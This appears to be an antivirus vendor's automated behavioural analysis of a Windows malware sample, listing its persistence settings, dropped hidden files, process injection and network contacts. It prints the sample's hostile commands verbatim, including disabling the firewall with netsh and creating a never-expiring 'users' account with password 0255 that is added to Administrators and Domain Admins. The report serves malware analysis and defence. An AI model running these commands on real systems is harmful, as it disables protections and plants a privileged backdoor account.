Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
Executes the following
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode disable
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\syswow64\net.exe
Modifies file system
Creates the following files
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\desktop.ini
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\desktop.ini
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\common files\mlclnrsavsmxv\mlclnrsavsmxv.exe
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\common files\mlclnrsavsmxv\mlclnrsavsmxv.bmp
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup\mlclnrsavsmxv.exe
- %ALLUSERSPROFILE%\cdburn.exe
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[1].txt
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[2].txt
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\.isp
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\ietldcache\index.dat
Sets the 'hidden' attribute to the following files
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\common files\mlclnrsavsmxv\mlclnrsavsmxv.exe
Deletes the following files
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup\mlclnrsavsmxv.exe
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[1].txt
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[2].txt
Substitutes the following files
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup\mlclnrsavsmxv.exe
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[1].txt
Network activity
Connects to
- 'google.com':80
TCP
HTTP GET requests
- http://www.google.com/search?q=#########
- http://www.google.com/sorry/index?co#################################################################################################################################################
UDP
- DNS ASK google.com
- DNS ASK gu####ost.jino.ru
- 'localhost':51293
- 'localhost':50965
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: 'Win Update 2.10'
- ClassName: '' WindowName: 'Ammyy Admin'
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: '' WindowName: 'Program Managertooltips_class32'
- ClassName: '' WindowName: 'Program Manager'
- ClassName: '' WindowName: 'Program ManagerProgman'
Creates and executes the following
- '%WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\common files\mlclnrsavsmxv\mlclnrsavsmxv.exe' nti
- '%WINDIR%\syswow64\regedit.exe' /s %WINDIR%\Mlclnrsavsmxv.reg' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode disable' (with hidden window)
- '%WINDIR%\syswow64\net.exe' user users 0255 /add /expires:never /times:all' (with hidden window)
- '%WINDIR%\syswow64\net.exe' localgroup "€В¤В¬ВЁВ¨áâà  â®à ë" users /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' localgroup "Administrators" users /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' group "Domain Admins" users /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' localgroup "ÀäìèГèñòðà òîðû" users /add' (with hidden window)
- '%WINDIR%\syswow64\cscript.exe' <SYSTEM32>\SCRegEdit.wsf /cs 0' (with hidden window)
Restarts the analyzed sample
Executes the following
- '%WINDIR%\syswow64\regedit.exe' /s %WINDIR%\Mlclnrsavsmxv.reg
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\net.exe' user users 0255 /add /expires:never /times:all
- '%WINDIR%\syswow64\net.exe' localgroup "€В¤В¬ВЁВ¨áâà  â®à ë" users /add
- '%WINDIR%\syswow64\net.exe' localgroup "Administrators" users /add
- '%WINDIR%\syswow64\net.exe' group "Domain Admins" users /add
- '%WINDIR%\syswow64\net.exe' localgroup "ÀäìèГèñòðà òîðû" users /add
- '%WINDIR%\syswow64\cscript.exe' <SYSTEM32>\SCRegEdit.wsf /cs 0
- '%WINDIR%\syswow64\net1.exe' localgroup "Administrators" users /add
- '%WINDIR%\syswow64\net1.exe' user users 0255 /add /expires:never /times:all
